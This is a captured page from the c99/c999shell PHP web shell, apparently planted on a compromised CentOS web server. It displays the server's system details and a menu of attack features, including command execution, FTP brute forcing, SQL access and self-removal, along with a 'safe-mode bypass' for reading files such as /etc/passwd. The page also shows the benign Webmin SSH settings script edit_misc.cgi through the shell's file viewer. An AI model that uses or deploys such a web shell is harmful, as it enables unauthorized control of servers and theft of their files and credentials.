!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/sshd/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_misc.cgi (3.32 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# edit_misc.cgi
# Display all other SSHd options

require './sshd-lib.pl';
&ui_print_header(undef, $text{'misc_title'}, "", "misc");
$conf = &get_sshd_config();

print &ui_form_start("save_misc.cgi");
print &ui_table_start($text{'misc_header'}, "width=100%", 2);

# X11 port forwarding
$x11 = &find_value("X11Forwarding", $conf);
print &ui_table_row($text{'misc_x11'},
    &ui_yesno_radio("x11", lc($x11) eq 'no' ? 0 :
                   lc($x11) eq 'yes' ? 1 :
                   $version{'type'} eq 'ssh' ? 1 : 0));

if ($version{'type'} ne 'ssh' || $version{'number'} < 2) {
    # X display offset
    $xoff = &find_value("X11DisplayOffset", $conf);
    print &ui_table_row($text{'misc_xoff'},
        &ui_opt_textbox("xoff", $xoff, 6, $text{'default'}));

    if ($version{'type'} eq 'ssh' || $version{'number'} >= 2) {
        # Path to xauth
        $xauth = &find_value("XAuthLocation", $conf);
        print &ui_table_row($text{'misc_xauth'},
            &ui_opt_textbox("xauth", $xauth, 60, $text{'default'}).
            " ".&file_chooser_button("xauth"));
        }
    }

if ($version{'type'} eq 'ssh' && $version{'number'} < 2) {
    # Default umask
    $umask = &find_value("Umask", $conf);
    print &ui_table_row($text{'misc_umask'},
        &ui_opt_textbox("umask", $umask, 4, $text{'misc_umask_def'}));
    }

# Syslog facility
$syslog = &find_value("SyslogFacility", $conf);
print &ui_table_row($text{'misc_syslog'},
    &ui_radio("syslog_def", $syslog ? 0 : 1,
          [ [ 1, $text{'default'} ],
            [ 0, &ui_select("syslog", uc($syslog),
                [ &list_syslog_facilities() ], 1, 0,
                $syslog ? 1 : 0) ] ]));

if ($version{'type'} eq 'openssh') {
    # Logging level
    $loglevel = &find_value("LogLevel", $conf);
    print &ui_table_row($text{'misc_loglevel'},
        &ui_radio("loglevel_def", $loglevel ? 0 : 1,
            [ [ 1, $text{'default'} ],
              [ 0, &ui_select("loglevel", uc($loglevel),
                [ &list_logging_levels() ], 1, 0,
                $loglevel ? 1 : 0) ] ]));
    }

if ($version{'type'} ne 'ssh' || $version{'number'} < 2) {
    # Bits in key
    $bits = &find_value("ServerKeyBits", $conf);
    print &ui_table_row($text{'misc_bits'},
        &ui_opt_textbox("bits", $bits, 4, $text{'default'})." ".
        $text{'bits'});
    }

if ($version{'type'} eq 'ssh') {
    # Quite mode
    $quiet = &find_value("QuietMode", $conf);
    print &ui_table_row($text{'misc_quiet'},
        &ui_yesno_radio("quiet", lc($quiet) ne 'no'));
    }

if ($version{'type'} ne 'ssh' || $version{'number'} < 2) {
    # Interval between key re-generation
    $regen = &find_value("KeyRegenerationInterval", $conf);
    print &ui_table_row($text{'misc_regen'},
        &ui_opt_textbox("regen", $regen, 6, $text{'misc_regen_def'}).
        " ".$text{'secs'});
    }

if ($version{'type'} eq 'ssh' && $version{'number'} < 2) {
    # Detailed logging
    $fascist = &find_value("FascistLogging", $conf);
    print &ui_table_row($text{'misc_fascist'},
        &ui_yesno_radio("fascist", lc($fascist) eq 'yes'));
    }

if ($version{'type'} eq 'openssh' && $version{'number'} >= 2) {
    # PID file
    $pid = &find_value("PidFile", $conf);
    print &ui_table_row($text{'misc_pid'},
        &ui_opt_textbox("pid", $pid, 60, $text{'default'}));
    }

if ($version{'type'} eq 'openssh' && $version{'number'} >= 3.2) {
    # Use separate users
    $separ = &find_value("UsePrivilegeSeparation", $conf);
    print &ui_table_row($text{'misc_separ'},
        &ui_yesno_radio("separ", lc($separ) ne 'no'));
    }

print &ui_table_end();
print &ui_form_end([ [ undef, $text{'save'} ] ]);

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0119 ]--